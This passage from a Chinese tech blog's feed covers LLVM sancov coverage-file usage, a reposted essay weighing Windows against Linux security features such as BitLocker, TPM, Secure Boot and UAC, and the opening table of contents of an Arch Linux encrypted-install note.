&lt;h3 id=&quot;sancov-shu-ju-ge-shi-p&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#id14&quot;&gt;Sancov 数据格式&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;此标题的永久链接&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#sancov-data-format&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;*.sancov&lt;&#x2F;code&gt; 文件的格式非常简单：前 8 个字节是魔数，分别是 &lt;code&gt;0xC0BFFFFFFFFFFF64&lt;&#x2F;code&gt; 和 &lt;code&gt;0xC0BFFFFFFFFFFF32&lt;&#x2F;code&gt; 之一。魔数的最后一个字节定义了以下偏移的大小。其余数据是运行期间在相应二进制文件&#x2F;DSO 中执行的偏移量。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;sancov-gong-ju-p&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#id15&quot;&gt;Sancov 工具&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;此标题的永久链接&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#sancov-tool&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;提供了一个简单的 &lt;code&gt;sancov&lt;&#x2F;code&gt; 工具来处理覆盖文件。该工具是 LLVM 项目的一部分，目前仅在 Linux 上受支持。它可以自主处理符号化任务，无需环境的任何额外支持。您需要传递 .sancov 文件（命名为 &lt;code&gt;&amp;lt;module_name&amp;gt;.&amp;lt;pid&amp;gt;.sancov&lt;&#x2F;code&gt;）和所有相应二进制 elf 文件的路径。Sancov 使用模块名称和二进制文件名称来匹配这些文件。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;USAGE: sancov [options] &amp;lt;action&amp;gt; (&amp;lt;binary file&amp;gt;|&amp;lt;.sancov file&amp;gt;)...

Action (required)
  -print                    - Print coverage addresses
  -covered-functions        - Print all covered functions.
  -not-covered-functions    - Print all not covered functions.
  -symbolize                - Symbolizes the report.

Options
  -blocklist=&amp;lt;string&amp;gt;         - Blocklist file (sanitizer blocklist format).
  -demangle                   - Print demangled function name.
  -strip_path_prefix=&amp;lt;string&amp;gt; - Strip this prefix from file paths in reports
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;fu-gai-bao-gao-p&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#id16&quot;&gt;覆盖报告&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;此标题的永久链接&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#coverage-reports&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;实验性&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;.sancov&lt;&#x2F;code&gt; 文件不包含足够的信息来生成源代码级覆盖率报告。缺少的信息包含在二进制文件的调试信息中。因此，&lt;code&gt;.sancov&lt;&#x2F;code&gt; 必须先进行符号化才能生成 &lt;code&gt;.symcov&lt;&#x2F;code&gt; 文件。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sancov -symbolize my_program.123.sancov my_program &amp;gt; my_program.123.symcov
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;.symcov&lt;&#x2F;code&gt; 文件可以通过运行 &lt;code&gt;tools&#x2F;sancov&#x2F;coverage-report-server.py&lt;&#x2F;code&gt; 脚本覆盖源代码进行浏览，该脚本将启动一个 HTTP 服务器。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;shu-chu-mu-lu-p&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#id17&quot;&gt;输出目录&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;此标题的永久链接&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#output-directory&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;默认情况下，.sancov 文件是在当前工作目录中创建的。这可以通过 &lt;code&gt;ASAN_OPTIONS=coverage_dir=&#x2F;path&lt;&#x2F;code&gt; 更改。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;% ASAN_OPTIONS=&amp;quot;coverage=1:coverage_dir=&amp;#x2F;tmp&amp;#x2F;cov&amp;quot; .&amp;#x2F;a.out foo
% ls -l &amp;#x2F;tmp&amp;#x2F;cov&amp;#x2F;*sancov
-rw-r----- 1 kcc eng 4 Nov 27 12:21 a.out.22673.sancov
-rw-r----- 1 kcc eng 8 Nov 27 12:21 a.out.22679.sancov
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>归档</title>
        <published>2025-07-14T00:00:00+00:00</published>
        <updated>2025-07-14T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/archive/"/>
        <id>https://vercel.juzhong.asia/archive/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/archive/"></content>
        
    </entry>
    <entry xml:lang="en">
        <title>开放性问题 Windows 和 Linux 哪个更加安全？</title>
        <published>2025-06-24T00:00:00+00:00</published>
        <updated>2025-06-24T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/开放性问题-windows-和-linux-哪个更加安全/"/>
        <id>https://vercel.juzhong.asia/obsidian/开放性问题-windows-和-linux-哪个更加安全/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/开放性问题-windows-和-linux-哪个更加安全/">&lt;h1 id=&quot;kai-fang-xing-wen-ti-windows-he-linux-na-ge-geng-jia-an-quan&quot;&gt;开放性问题 Windows 和 Linux 哪个更加安全？&lt;&#x2F;h1&gt;
&lt;p&gt;原文链接：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;anduin.aiursoft.cn&#x2F;post&#x2F;2024&#x2F;7&#x2F;14&#x2F;win-vs-linux&quot;&gt;https:&#x2F;&#x2F;anduin.aiursoft.cn&#x2F;post&#x2F;2024&#x2F;7&#x2F;14&#x2F;win-vs-linux&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;windows-vs-linux-security&#x2F;author-avatar-anduin.jpg&quot; alt=&quot;Anduin Xue&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;问题看起来越简单，回答它就越困难。&lt;&#x2F;p&gt;
&lt;p&gt;在我们仔细分析这个问题之前，或许我们可以先讨论讨论 Windows 和 Linux 的安全策略和保障措施。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;windows&quot;&gt;Windows&lt;&#x2F;h2&gt;
&lt;p&gt;Windows，在默认情况下，对于普通用户的场景，其保护是非常全面的。例如：Windows 针对物理入侵的防范，是有一系列技术共同组合而成。&lt;&#x2F;p&gt;
&lt;p&gt;BitLocker 是非常经典的全盘加密工具。它可以保护你的数据不被盗取。在黑客即使偷走了你整台计算机，在没有密钥的情况下，仍然无法获取你的数据。而且它在登录账号后默认就会开启，集成在 Windows 操作系统中也不需要额外安装。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;windows-vs-linux-security&#x2F;bitlocker-full-disk-encryption.png&quot; alt=&quot;file&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;但是，让用户每次开机都输入完整的 BitLocker 密钥，这显然是不现实的。因此，Windows 会使用 TPM（Trusted Platform Module）来保护 BitLocker 密钥。TPM 是一种特殊的硬件安全模块，其能够安全的存储密钥。&lt;&#x2F;p&gt;
&lt;p&gt;TPM 并不在硬盘上，而是在主板或CPU内部。非常难以通过软件手段来攻击 TPM。TPM 可以将密钥与特定的硬件和软件状态绑定。只有当系统在预期的可信状态下启动时，TPM 才会释放绑定的密钥。这个功能确保了密钥只能在特定的硬件和软件环境中使用。&lt;&#x2F;p&gt;
&lt;p&gt;在系统启动时，TPM 会记录系统的启动过程，包括 BIOS、引导加载程序、操作系统内核和其他关键组件的哈希函数。这些哈希函数会存储在 TPM 的特定寄存器中，被称为平台配置寄存器（PCR）。通过这种方式，TPM 可以确保系统的启动环境没有被篡改。这样，普通用户只需打开电源，就可以自动解锁硬盘，进入操作系统，而无需输入 Bitlocker Key。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;security&#x2F;hardware-security&#x2F;tpm&#x2F;switch-pcr-banks-on-tpm-2-0-devices#what-happens-when-pcr-banks-are-switched&quot;&gt;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;security&#x2F;hardware-security&#x2F;tpm&#x2F;switch-pcr-banks-on-tpm-2-0-devices#what-happens-when-pcr-banks-are-switched&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;（迁移注：原图片缺失 &lt;code&gt;assets&#x2F;img-1f4a22a1-6b93-47f3-a03d-103f1770dfae-20250624102543-dqy12h3.png&lt;&#x2F;code&gt;，已移除）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;当然，只有 TPM 技术保护 BitLocker 是远远不够的。如果黑客能够通过物理手段攻击你的计算机，例如将一个人脸识别摄像头的固件进行篡改，那么黑客就可以在不改变 TPM 密钥的情况下，通过篡改摄像头的固件，来绕过登录验证。&lt;&#x2F;p&gt;
&lt;p&gt;因此，Windows 还有一项技术叫做 Secure Boot。Secure Boot 是一种基于 UEFI 的技术，它可以确保系统启动时只加载由 Microsoft 或者硬件厂商签名的操作系统和驱动程序。如果黑客损坏了系统引导加载程序或者操作系统内核，Secure Boot 就会拒绝启动系统。&lt;&#x2F;p&gt;
&lt;p&gt;在实际场景中，即使理论设计的非常安全，也很可能会因为遇到了愚蠢的用户，将自己的重要的密码直接写在了纸上，或者将自己的密码在摄像头下输入，从而导致了安全隐患。为了提高实际安全能力，并缩小攻击面，使用生物识别验证有的时候甚至比理论防范更加重要。&lt;&#x2F;p&gt;
&lt;p&gt;为了方便用户登录不要麻烦的输入密码或犯傻，Windows 还支持 Windows Hello。Windows Hello 是一种生物识别技术，它可以使用人脸识别、指纹识别、虹膜扫描等方式来验证用户身份。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;（迁移注：原图片缺失 &lt;code&gt;assets&#x2F;img-f778dd83-69d1-4867-8525-683f88348dd9-20250624102543-x796zk6.png&lt;&#x2F;code&gt;，已移除）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;当然，Windows 本身也尽力避免了黑客可能对其的恶意篡改，自从 Windows Vista 开始就已经引入了 UAC（User Account Control）用户账户控制。UAC 可以确保用户在执行敏感操作时，需要进行二次确认。这样可以避免用户在不知情的情况下，被恶意软件获取到较高级别的权限。&lt;&#x2F;p&gt;
&lt;p&gt;同时，Windows 的基于数字签名的代码完整性检查也在 Windows Vista 引入。这个功能可以确保系统启动时，只有经过数字签名的代码才能被加载。这样可以避免恶意软件在系统启动时就加载到内存中。如果黑客或恶意软件试图篡改系统文件，Windows 会拒绝启动，甚至可以通过 sfc &#x2F;scannow 命令来修复系统文件。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;windows-vs-linux-security&#x2F;windows-uac-prompt.png&quot; alt=&quot;file&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Windows 的安全策略对于普通用户来说还不止这些。例如 Windows 10 以后就开始默认开启了 Windows Defender 防病毒软件。它会实时监控系统里进程的行为，对于可疑的行为也可以立刻阻断。Windows 的防火墙也是非常强大的，并且对于普通用户来说几乎不会打扰日常的使用的同时，也有着非常好的防护能力。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;windows-vs-linux-security&#x2F;windows-vbs-security.png&quot; alt=&quot;file&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我记得在 Windows 10 发布了一段时间以后，Windows 还推出了一款非常有意思的功能，叫作 Virtualization Based Security。也就是将操作系统的内核和用户态的应用，借助 Hypervisor 硬件加速虚拟化技术，跑在不同的虚拟硬件上。这一功能可以非常彻底的杜绝任何可能的恶意软件访问内核态的内存的地址。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;windows-vs-linux-security&#x2F;windows-vbs-architecture.png&quot; alt=&quot;file&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Windows 的更新策略也非常简单，就是所有更新都来自微软唯一分发渠道，而代码的编写也完全由微软的工程师完成。这可以确保用户运行的 Windows 上的全部代码都是微软的工程师开发的，并不会可能混入一些恶意代码。&lt;&#x2F;p&gt;
&lt;p&gt;记得在过去 Windows XP 的时代，许多用户把自己设为管理员，然后所有程序都有管理员权限，系统文件可以随意篡改，甚至一个普通的进程也可以随意的篡改系统的内存。当年的安全程度确实可以做到浏览几个网页电脑就被黑客完全掌控，甚至同时感染几百个病毒在电脑上养蛊的神奇操作。当然今天，对于一个安全功能默认的 Windows 来说，黑客即使物理接触到电脑，想要读取、篡改、伪装里面的信息已经非常困难了。&lt;&#x2F;p&gt;
&lt;p&gt;也就是说，Windows 对于普通用户的安全而言，它不是一两个技术的保护，也不是几个软件就能解决的问题。这是一整个生态链，从硬件到软件，从固件到操作系统，从检测到拦截，是全链路的防护。这些技术包括但不限于：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Kernel DMA Protection&lt;&#x2F;li&gt;
&lt;li&gt;Virtualization Based Security&lt;&#x2F;li&gt;
&lt;li&gt;Code Integrity Policy Enforcement&lt;&#x2F;li&gt;
&lt;li&gt;TPM&lt;&#x2F;li&gt;
&lt;li&gt;UEFI&lt;&#x2F;li&gt;
&lt;li&gt;Secure Boot&lt;&#x2F;li&gt;
&lt;li&gt;Modern Standby&lt;&#x2F;li&gt;
&lt;li&gt;BitLocker&lt;&#x2F;li&gt;
&lt;li&gt;Device Encryption&lt;&#x2F;li&gt;
&lt;li&gt;Windows Recovery Environment&lt;&#x2F;li&gt;
&lt;li&gt;UAC&lt;&#x2F;li&gt;
&lt;li&gt;Windows Defender&lt;&#x2F;li&gt;
&lt;li&gt;Windows Firewall&lt;&#x2F;li&gt;
&lt;li&gt;Windows Update&lt;&#x2F;li&gt;
&lt;li&gt;Windows Hello&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;（迁移注：原图片缺失 &lt;code&gt;assets&#x2F;img-d298b879-770e-4756-950d-33a978c4c967-20250624102542-vh4z6vf.png&lt;&#x2F;code&gt;，已移除）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;(上图源自 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;AiursoftWeb&#x2F;Safe-Windows&quot;&gt;Safe-Windows&lt;&#x2F;a&gt;)&lt;&#x2F;p&gt;
&lt;p&gt;这样的闭环可以确保 Windows 的安全性。（这并不是因为我是微软的员工我才吹 Windows 的安全，而实际上对于一个普通用户来说，基于上面的防护，Windows 的安全性是非常高的。）&lt;&#x2F;p&gt;
&lt;h2 id=&quot;linux&quot;&gt;Linux&lt;&#x2F;h2&gt;
&lt;p&gt;对于一个普通用户而言，如果我们类比上面的比较过程，我们会发现：&lt;&#x2F;p&gt;
&lt;p&gt;Linux 也有全盘加密工具 LUKS2，它也可以保护你的数据不被盗取。在黑客即使偷走了你整台计算机，在没有密钥的情况下，仍然无法获取你的数据。不过，一般这项保护并不会默认开启。&lt;&#x2F;p&gt;
&lt;p&gt;当然，LUKS2 的开启很可能意味着你每次开机都需要输入密码。当然 Linux 里完全也可以使用 TPM 来保护 LUKS 密钥，这和 Windows 的策略是类似的。TPM 可以确保系统只有在特定的硬件和软件环境下才能使用密钥，并且通过记录启动过程中的哈希值来确保系统的启动环境没有被篡改。&lt;&#x2F;p&gt;
&lt;p&gt;Linux 的世界里，Secure Boot 非常不流行。实际上我见过非常多的人在安装操作系统前第一步就是关闭 Secure Boot。这是因为 Secure Boot 会限制用户安装非官方的操作系统和驱动程序。这对于 Linux 用户来说是非常不友好的。Linux 作为一个非常鼓励自由和变更的操作系统，其实对代码进行完整性保护都是非常不流行的。&lt;&#x2F;p&gt;
&lt;p&gt;严格来说，Secure Boot 在 Linux 里是完全可以实现的。很多发行版默认就支持 Secure Boot，例如 Ubuntu 和 Fedora。这些发行版在启动时可以确保只加载由可信任签名的操作系统和驱动程序。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] Windows 安全启动链：CPU（Intel Boot Guard）→ BIOS&#x2F;UEFI → Boot Loader（GRUB&#x2F;IPXE）→ Kernel+Initrd → 应用程序，每级镜像带签名，加载前先 Verify 再 Execute，构成固件到应用的信任链；下半部分为配套截图：openssl 生成密钥、sbsign 签名、qemu 加载自定义 uefi.bin 验证 UEFI 签名及 DxeImageVerificationLib 代码。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;(上图源自 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?app=desktop&amp;amp;v=SQ7Ajv2Cnzg&quot;&gt;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?app=desktop&amp;amp;v=SQ7Ajv2Cnzg&lt;&#x2F;a&gt; )&lt;&#x2F;p&gt;
&lt;p&gt;生物识别技术在 Linux 上的支持也在逐步完善。虽然不像 Windows Hello 那样集成在系统中，但通过一些开源项目，例如 fprintd（用于指纹识别）和 howdy（用于人脸识别），用户可以在 Linux 上实现类似的生物识别功能。（当然它并不能解决摄像头被黑客控制的问题）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;windows-vs-linux-security&#x2F;linux-biometric-fprintd-howdy.png&quot; alt=&quot;file&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在用户权限控制方面，Linux 也有类似 UAC 的机制，例如 sudo 命令，可以确保用户在执行敏感操作时，需要输入管理员密码以进行确认。这样可以避免用户在不知情的情况下，被恶意软件利用。但是相比于 Windows 的 UAC 会在安全桌面中展示不同，sudo 并没有任何安全桌面的概念。并且很多用户也会配置允许 sudo 不需要密码。&lt;&#x2F;p&gt;
&lt;p&gt;对于 Linux 用户来说，安全很可能代价就是不方便，需要频繁的输入密码。&lt;&#x2F;p&gt;
&lt;p&gt;Linux 系统通常没有集成的防病毒软件，但有一些开源防病毒工具，例如 ClamAV，可以用于扫描和清理病毒。不过，由于 Linux 系统的安全设计和广泛使用的包管理系统，再加上普通用户群体中，Linux 的使用率相对较低，这使得 Linux 遭受病毒攻击的风险相对较低。&lt;&#x2F;p&gt;
&lt;p&gt;Linux 的防火墙有流行的 iptables 和 nftables，它们可以用于配置网络规则，限制网络访问。当然，其需要用户自己非常清晰的理解自己究竟在干什么。如果用户本身被逼疯了，他也做得出来直接把防火墙规则全关掉这种事情。&lt;&#x2F;p&gt;
&lt;p&gt;对于 VBS 来说，Linux 的世界里几乎没有任何替代品（或许 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;heki-linux&quot;&gt;Heki-Linux&lt;&#x2F;a&gt; ）。唯一的替代品或许就是 KVM，将真正的关键业务运行在虚拟机中以确保安全。但是我也相信普通用户绝对不会这么干。&lt;&#x2F;p&gt;
&lt;p&gt;与 Windows 不同的是，Linux 的更新和软件分发通常是通过各个发行版的包管理系统来实现的，例如 apt、yum 和 dnf 等。大多数情况下，Linux 用户会从官方的软件源中安装和更新软件，这些软件源通常由发行版的开发团队维护，确保软件的安全性。但是历史上仍然出现过大量有贡献者往开源库里下毒的故事，尤其是 SSH 是重灾区。几乎每年都会发现个 0day 。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;windows-vs-linux-security&#x2F;linux-open-source-security.png&quot; alt=&quot;file&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;自由的操作系统也会有新的优势：代码是公开的，全球的使用者可以审查代码，从而非常容易的找到里面的后门，对于隐私和安全的保护也非常有利。用户也可以根据自己的需要深度定制、魔改和裁剪自己需要的操作系统，这样可以减少系统的攻击面。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;chu-bu-dui-bi&quot;&gt;初步对比&lt;&#x2F;h2&gt;
&lt;p&gt;听我这么说完，怎么感觉 Windows 的安全性完爆 Linux？无论是硬件还是软件，微软已经建立了一整套信任链，确保从硬件到软件都是全链有信任和检查的。而 Linux 由于其开源的特性，虽然可以确保代码的透明性，但是也意味着什么都能跑，就什么都可能跑到黑客的代码。&lt;&#x2F;p&gt;
&lt;p&gt;但是，我上面的比较中，一直包含了一个隐藏条件：普通用户。甚至，我在开始回答这个问题之前，都没有真正定义：什么是所谓的“安全”。&lt;&#x2F;p&gt;
&lt;p&gt;这就是为什么这是一个开放性的问题。它一定不会有标准答案，而是仁者见仁智者见智的。例如，有些人安装 Windows 可能仅仅只是为了运行 PUBG 这一款游戏而已，他们甚至不会关心自己的系统是否安全。他们会关闭 VBS 来提高帧率，会购买不包含固件完整性检查和 DMA 功能的游戏电脑，会关闭 Bitlocker 来提高磁盘性能，甚至会使用 Administrator 用户来打游戏。他们很可能早把安全功能关干净了。那他们真的陷入什么危险了吗？&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;（迁移注：原图片缺失 &lt;code&gt;assets&#x2F;img-01c19faa-3935-49f1-b060-3cdf68f90a9b-20250624102543-jx8nkhz.png&lt;&#x2F;code&gt;，已移除）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;我认为不。是否陷入危险取决于黑客攻击你对你造出的代价。如果这是一台单纯的游戏电脑，黑客可能造出的最大破坏无非就是盗走了你的账号。而 PUBG 明明是个免费游戏，你的账号里也没有绑定任何银行卡信息，那么黑客盗走你的账号对你造成的损失是多少呢？&lt;&#x2F;p&gt;
&lt;p&gt;所以此时这个场景下，Windows 和 Linux 哪个更安全，很可能答案是：我不在乎。&lt;&#x2F;p&gt;
&lt;p&gt;我们讨论信息安全，必须要有具体的场景，具体要防范的对象，要避免的事故是什么。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zhong-xin-si-kao-zhe-ge-wen-ti&quot;&gt;重新思考这个问题&lt;&#x2F;h2&gt;
&lt;p&gt;重新思考上面的问题。对于普通家庭用户，如果只讨论黑客偷走电脑后取出用户目录下的数据的概率，毫无疑问 Windows 是绝对更加安全的。其在默认设置下就会开启众多安全功能，而且这些功能对于普通用户来说几乎是透明的。&lt;&#x2F;p&gt;
&lt;p&gt;问题就在于，很多 Windows 用户并不是普通家庭用户，而是“以为自己专业但其实不专业的用户”。他们认为自己并不需要被防范，从而关闭了大量安全功能，例如 BitLocker，VBS，UAC，防火墙，Windows Hello，Windows Defender 等，来换来更好的性能。但是他们可能忽视了自己可能遭到攻击的方面。例如电脑被黑客窃取，从而偷走浏览器的 Cookie 文件，账号被远程登录，直播间被黑客控制，播放数字货币的广告等等。而这些事情在历史上也多次真实发生过。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;（迁移注：原图片缺失 &lt;code&gt;assets&#x2F;img-f5a19255-7d4c-4e84-b653-a58266de11f9-20250624102542-hktnxlp.png&lt;&#x2F;code&gt;，已移除）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;(图自 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?app=desktop&amp;amp;v=CB7m8-VMKzw&quot;&gt;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?app=desktop&amp;amp;v=CB7m8-VMKzw&lt;&#x2F;a&gt; )&lt;&#x2F;p&gt;
&lt;p&gt;但是，为什么很多开发人员和服务器仍然选择 Linux？更多的在于，对于一个懂得如何防御的人来说，Linux 其高度定制性反而给了你很高的开发上限。你仍然可以使用 LUKS2，可以自己对自己的内核签名再让 Secure Boot 信任你自己的数字证书。你仍然可以自己手工审查代码，只部署你信任的软件。你也可以配置 dm-vereify 来实现完整性检查。你也可以找生物验证脚本来实现指纹识别来解锁 root 权限。Linux 的病毒也更少，也不必那么害怕病毒。你也可以深度了解包管理的工作原理，建设白名单的软件源，构建零信任的防火墙……&lt;&#x2F;p&gt;
&lt;p&gt;这就是为什么这是一个开放性问题。因为安全性不是一个绝对的概念，而是一个场景下的概念。安全性取决于你的需求，取决于你的使用场景，取决于你的对手，取决于你的技术水平。&lt;&#x2F;p&gt;
&lt;p&gt;所以，Windows 和 Linux 哪个更加安全？这个问题的答案是：取决于你。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Arch Linux 安装笔记（LUKS2 + Secure Boot + TPM + PIN）</title>
        <published>2025-06-16T00:00:00+00:00</published>
        <updated>2025-06-16T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/arch-linux-安装笔记-luks2-secure-boot-tpm-pin/"/>
        <id>https://vercel.juzhong.asia/obsidian/arch-linux-安装笔记-luks2-secure-boot-tpm-pin/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/arch-linux-安装笔记-luks2-secure-boot-tpm-pin/">&lt;h1 id=&quot;arch-linux-an-zhuang-bi-ji-luks2-secure-boot-tpm-pin&quot;&gt;Arch Linux 安装笔记（LUKS2 + Secure Boot + TPM + PIN）&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;1.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#%E6%B3%A8%E6%84%8F%E4%BA%8B%E9%A1%B9&quot;&gt;1. 注意事项&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;2.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#%E4%B8%80%E4%BA%9B%E6%8A%89%E6%8B%A9&quot;&gt;2. 一些抉择&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;3.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#%E5%87%86%E5%A4%87%E5%88%86%E5%8C%BA&quot;&gt;3. 准备分区&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;4.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#%E9%A2%84%E9%85%8D%E7%BD%AE-Windows&quot;&gt;4. 预配置 Windows&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;5.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#%E5%87%86%E5%A4%87%E5%AE%89%E8%A3%85%E4%BB%8B%E8%B4%A8&quot;&gt;5. 准备安装介质&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
